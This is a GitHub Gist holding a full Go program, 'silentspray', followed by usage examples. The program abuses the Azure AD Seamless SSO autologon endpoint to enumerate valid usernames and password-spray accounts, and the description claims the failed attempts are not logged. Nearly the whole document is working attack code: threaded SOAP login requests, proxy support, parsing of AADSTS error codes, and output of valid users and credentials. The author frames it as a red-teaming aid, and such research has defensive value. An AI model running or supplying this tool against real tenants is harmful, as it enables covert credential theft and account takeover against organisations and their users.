Last active
February 26, 2025 16:38
-
-
Save sofianeelhor/5670fafb384a874db2c04571fb5cfff6 to your computer and use it in GitHub Desktop.
This tool leverages a flaw in the Azure AD Seamless SSO service. Failed authentication attempts using the autologon endpoint aren't properly logged, allowing for (undetected?) username probing and password spray attacks. Ideal for red teaming
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//https://www.secureworks.com/research/undetected-azure-active-directory-brute-force-attacks | |
package main | |
import ( | |
"bufio" | |
"fmt" | |
"io/ioutil" | |
"net/http" | |
"net/url" | |
"os" | |
"strings" | |
"sync" | |
"time" | |
"github.com/akamensky/argparse" | |
"github.com/fatih/color" | |
) | |
type Config struct { | |
UserInput string | |
PassInput string | |
OutputFile string | |
ProxyURL string | |
Threads int | |
Delay int | |
Verbose bool | |
} | |
type Result struct { | |
User string | |
Password string | |
UserExists bool | |
PasswordCorrect bool | |
Message string | |
ResponseData string | |
} | |
var ( | |
successColor = color.New(color.FgGreen, color.Bold).SprintFunc() | |
validColor = color.New(color.FgBlue).SprintFunc() | |
invalidColor = color.New(color.FgRed).SprintFunc() | |
warningColor = color.New(color.FgYellow).SprintFunc() | |
infoColor = color.New(color.FgCyan).SprintFunc() | |
) | |
func main() { | |
parser := argparse.NewParser("spray", "Azure AD password sprayer - Exploits the Seamless SSO vulnerability") | |
userArg := parser.String("u", "user", &argparse.Options{ | |
Required: false, | |
Help: "Username or file containing usernames", | |
}) | |
passArg := parser.String("p", "password", &argparse.Options{ | |
Required: false, | |
Help: "Password or file containing passwords", | |
}) | |
outputArg := parser.String("o", "output", &argparse.Options{ | |
Required: false, | |
Help: "Output file for valid results", | |
}) | |
proxyArg := parser.String("x", "proxy", &argparse.Options{ | |
Required: false, | |
Help: "Proxy URL (e.g., http://proxy.example.com:8080)", | |
}) | |
threadsArg := parser.Int("t", "threads", &argparse.Options{ | |
Required: false, | |
Help: "Number of concurrent threads", | |
Default: 10, | |
}) | |
delayArg := parser.Int("d", "delay", &argparse.Options{ | |
Required: false, | |
Help: "Delay between requests in milliseconds", | |
Default: 0, | |
}) | |
verboseArg := parser.Flag("v", "verbose", &argparse.Options{ | |
Required: false, | |
Help: "Verbose output", | |
Default: false, | |
}) | |
err := parser.Parse(os.Args) | |
if err != nil { | |
fmt.Print(parser.Usage(err)) | |
os.Exit(1) | |
} | |
if *userArg == "" { | |
fmt.Println(invalidColor("[-] Error: Username or user file is required (-u)")) | |
fmt.Print(parser.Usage(nil)) | |
os.Exit(1) | |
} | |
config := Config{ | |
UserInput: *userArg, | |
PassInput: *passArg, | |
OutputFile: *outputArg, | |
ProxyURL: *proxyArg, | |
Threads: *threadsArg, | |
Delay: *delayArg, | |
Verbose: *verboseArg, | |
} | |
runSpray(config) | |
} | |
func runSpray(config Config) { | |
// Process users file or single user | |
users := getInputAsList(config.UserInput) | |
if len(users) == 0 { | |
fmt.Println(invalidColor("[-] No valid users to process")) | |
os.Exit(1) | |
} | |
// Process passwords file or single password | |
var passwords []string | |
if config.PassInput != "" { | |
passwords = getInputAsList(config.PassInput) | |
if len(passwords) == 0 { | |
fmt.Println(invalidColor("[-] No valid passwords to process")) | |
os.Exit(1) | |
} | |
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[*] Starting spray with %d user(s) and %d password(s)", len(users), len(passwords)))) | |
} else { | |
// User enumeration mode - using an empty password | |
passwords = []string{""} | |
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[*] Starting user enumeration for %d user(s)", len(users)))) | |
} | |
var wg sync.WaitGroup | |
semaphore := make(chan struct{}, config.Threads) | |
results := make([]Result, 0) // Store all results | |
// Mutex for accessing results array | |
var resultsMutex sync.Mutex | |
// Process each combination | |
for _, user := range users { | |
for _, pass := range passwords { | |
wg.Add(1) | |
semaphore <- struct{}{} | |
go func(u, p string) { | |
defer func() { | |
<-semaphore | |
wg.Done() | |
}() | |
// Extract domain from email #http://golangcookbook.com/chapters/strings/split/ | |
domain := "" | |
if parts := strings.Split(u, "@"); len(parts) == 2 { | |
domain = parts[1] | |
} else { | |
result := Result{ | |
User: u, | |
Password: p, | |
UserExists: false, | |
Message: "Invalid email format", | |
} | |
displayResult(result) | |
resultsMutex.Lock() | |
results = append(results, result) | |
resultsMutex.Unlock() | |
return | |
} | |
result := testCredentials(u, p, domain, config.ProxyURL, config.Verbose) | |
displayResult(result) | |
resultsMutex.Lock() | |
results = append(results, result) | |
resultsMutex.Unlock() | |
if config.Delay > 0 { | |
time.Sleep(time.Duration(config.Delay) * time.Millisecond) | |
} else { | |
time.Sleep(time.Duration(50) * time.Millisecond) | |
} | |
}(user, pass) | |
} | |
} | |
wg.Wait() | |
if config.OutputFile != "" { | |
processResultsToFile(results, config.OutputFile) | |
} | |
fmt.Println(infoColor("[*] Operation completed")) | |
} | |
func getInputAsList(input string) []string { | |
// Check if input is a file | |
if _, err := os.Stat(input); err == nil { | |
file, err := os.Open(input) | |
if err != nil { | |
fmt.Printf("%s\n", invalidColor(fmt.Sprintf("[-] Error opening file %s: %s", input, err))) | |
return nil | |
} | |
defer file.Close() | |
var lines []string | |
scanner := bufio.NewScanner(file) | |
for scanner.Scan() { | |
line := strings.TrimSpace(scanner.Text()) | |
if line != "" { | |
lines = append(lines, line) | |
} | |
} | |
if err := scanner.Err(); err != nil { | |
fmt.Printf("%s\n", invalidColor(fmt.Sprintf("[-] Error reading file %s: %s", input, err))) | |
} | |
return lines | |
} | |
return []string{input} | |
} | |
func testCredentials(username, password, domain, proxyURL string, verbose bool) Result { | |
result := Result{ | |
User: username, | |
Password: password, | |
UserExists: false, | |
PasswordCorrect: false, | |
} | |
targetURL := "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + generateUUID() | |
// Build the SOAP request | |
currentTime := time.Now().Format(time.RFC3339Nano) | |
expiryTime := time.Now().Add(time.Minute*10).Format(time.RFC3339Nano) | |
messageID := generateUUID() | |
body := strings.NewReader(fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?> | |
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"> | |
<s:Header> | |
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action> | |
<a:MessageID>urn:uuid:%s</a:MessageID> | |
<a:ReplyTo> | |
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address> | |
</a:ReplyTo> | |
<a:To s:mustUnderstand="1">%s</a:To> | |
<o:Security xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" s:mustUnderstand="1"> | |
<u:Timestamp u:Id="_0"> | |
<u:Created>%s</u:Created> | |
<u:Expires>%s</u:Expires> | |
</u:Timestamp> | |
<o:UsernameToken u:Id="uuid-ec4527b8-bbb0-4cbb-88cf-abe27fe60977"> | |
<o:Username>%s</o:Username> | |
<o:Password>%s</o:Password> | |
</o:UsernameToken> | |
</o:Security> | |
</s:Header> | |
<s:Body> | |
<trust:RequestSecurityToken xmlns:trust="http://schemas.xmlsoap.org/ws/2005/02/trust"> | |
<wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"> | |
<a:EndpointReference> | |
<a:Address>urn:federation:MicrosoftOnline</a:Address> | |
</a:EndpointReference> | |
</wsp:AppliesTo> | |
<trust:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</trust:KeyType> | |
<trust:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</trust:RequestType> | |
</trust:RequestSecurityToken> | |
</s:Body> | |
</s:Envelope>`, messageID, targetURL, currentTime, expiryTime, username, password)) | |
client := &http.Client{ | |
Timeout: 30 * time.Second, | |
} | |
if proxyURL != "" { | |
proxy, err := url.Parse(proxyURL) | |
if err != nil { | |
result.Message = fmt.Sprintf("Invalid proxy URL: %s", err) | |
return result | |
} | |
client.Transport = &http.Transport{ | |
Proxy: http.ProxyURL(proxy), | |
} | |
} | |
req, err := http.NewRequest("POST", targetURL, body) | |
if err != nil { | |
result.Message = fmt.Sprintf("Error creating request: %s", err) | |
return result | |
} | |
req.Header.Set("Content-Type", "application/soap+xml; charset=utf-8") | |
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36") | |
resp, err := client.Do(req) | |
if err != nil { | |
result.Message = fmt.Sprintf("Error sending request: %s", err) | |
return result | |
} | |
defer resp.Body.Close() | |
responseData, err := ioutil.ReadAll(resp.Body) | |
if err != nil { | |
result.Message = fmt.Sprintf("Error reading response: %s", err) | |
return result | |
} | |
responseStr := string(responseData) | |
result.ResponseData = responseStr | |
if verbose { | |
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[DEBUG] Response for %s: %s", username, resp.Status))) | |
if len(responseStr) > 1000 { | |
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[DEBUG] Response body snippet (first 1000 chars): %s...", responseStr[:1000]))) | |
} else { | |
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[DEBUG] Response body: %s", responseStr))) | |
} | |
} | |
// tofix: Check for DesktopSsoToken which is an explicit indicator of valid credentials | |
if strings.Contains(responseStr, "DesktopSsoToken") { | |
result.UserExists = true | |
result.PasswordCorrect = true | |
result.Message = "Valid credentials" | |
return result | |
} | |
if strings.Contains(responseStr, "AADSTS50126") { | |
result.UserExists = true | |
result.PasswordCorrect = false | |
result.Message = "User exists, password incorrect" | |
return result | |
} | |
if strings.Contains(responseStr, "AADSTS50034") { | |
result.UserExists = false | |
result.Message = "User does not exist" | |
return result | |
} | |
if strings.Contains(responseStr, "wst:FailedAuthentication") { | |
result.UserExists = true | |
result.PasswordCorrect = false | |
result.Message = "Authentication failed (user exists)" | |
return result | |
} | |
result.UserExists = false | |
result.Message = "Unknown response (assuming user doesn't exist)" | |
return result | |
} | |
func displayResult(result Result) { | |
if result.UserExists && result.PasswordCorrect { | |
fmt.Printf("%s\n", successColor(fmt.Sprintf("[+] SUCCESS %s:%s", result.User, result.Password))) | |
} else if result.UserExists { | |
fmt.Printf("%s\n", validColor(fmt.Sprintf("[+] found valid user %s", result.User))) | |
if result.Password != "" && !result.PasswordCorrect { | |
fmt.Printf("%s\n", invalidColor("[-] Password Incorrect")) | |
} | |
} else { | |
fmt.Printf("%s\n", invalidColor(fmt.Sprintf("[-] invalid user %s", result.User))) | |
} | |
} | |
// processResultsToFile processes the results and writes them to a file | |
func processResultsToFile(results []Result, outputFile string) { | |
var validUsers []string | |
var validCreds []string | |
for _, result := range results { | |
if result.UserExists && result.PasswordCorrect { | |
// Valid credentials | |
validCreds = append(validCreds, fmt.Sprintf("%s:%s", result.User, result.Password)) | |
} else if result.UserExists { | |
// Valid user | |
validUsers = append(validUsers, result.User) | |
} | |
} | |
if len(validUsers) == 0 && len(validCreds) == 0 { | |
fmt.Printf("%s\n", warningColor("[!] No valid users or credentials found to write to file")) | |
return | |
} | |
file, err := os.Create(outputFile) | |
if err != nil { | |
fmt.Printf("%s\n", invalidColor(fmt.Sprintf("[-] Error creating output file: %s", err))) | |
return | |
} | |
defer file.Close() | |
if len(validUsers) > 0 { | |
file.WriteString("# Valid Users\n") | |
for _, user := range validUsers { | |
file.WriteString(user + "\n") | |
} | |
} | |
if len(validCreds) > 0 { | |
if len(validUsers) > 0 { | |
file.WriteString("\n") | |
} | |
file.WriteString("# Valid Credentials\n") | |
for _, cred := range validCreds { | |
file.WriteString(cred + "\n") | |
} | |
} | |
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[*] Results written to %s", outputFile))) | |
} | |
// I actually have no idea how this works, but it generates a UUID, thx to https://play.golang.org/p/4FkNSiUDMg | |
func generateUUID() string { | |
now := time.Now().UnixNano() | |
return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x", | |
now&0xffffffff, | |
now&0xffff, | |
0x4000|(now&0xfff), | |
0x8000|(now&0x3fff), | |
now) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
./silentspray -u [email protected]
[+] found valid user [email protected]
./silentspray -u users.txt
[-] invalid user [email protected]
...
[+] found valid user [email protected]
./silentspray -u users.txt -o users_probed.txt
[-] invalid user [email protected]
...
[+] found valid user [email protected]
./silentspray -u users.txt -p 'S3cr3t!pass'
./silentspray -u '[email protected]' -p passlist.txt
./silentspray -u users.txt -p passlist.txt -x 'proxy.example.com:8080' -v -t 10 -d 2000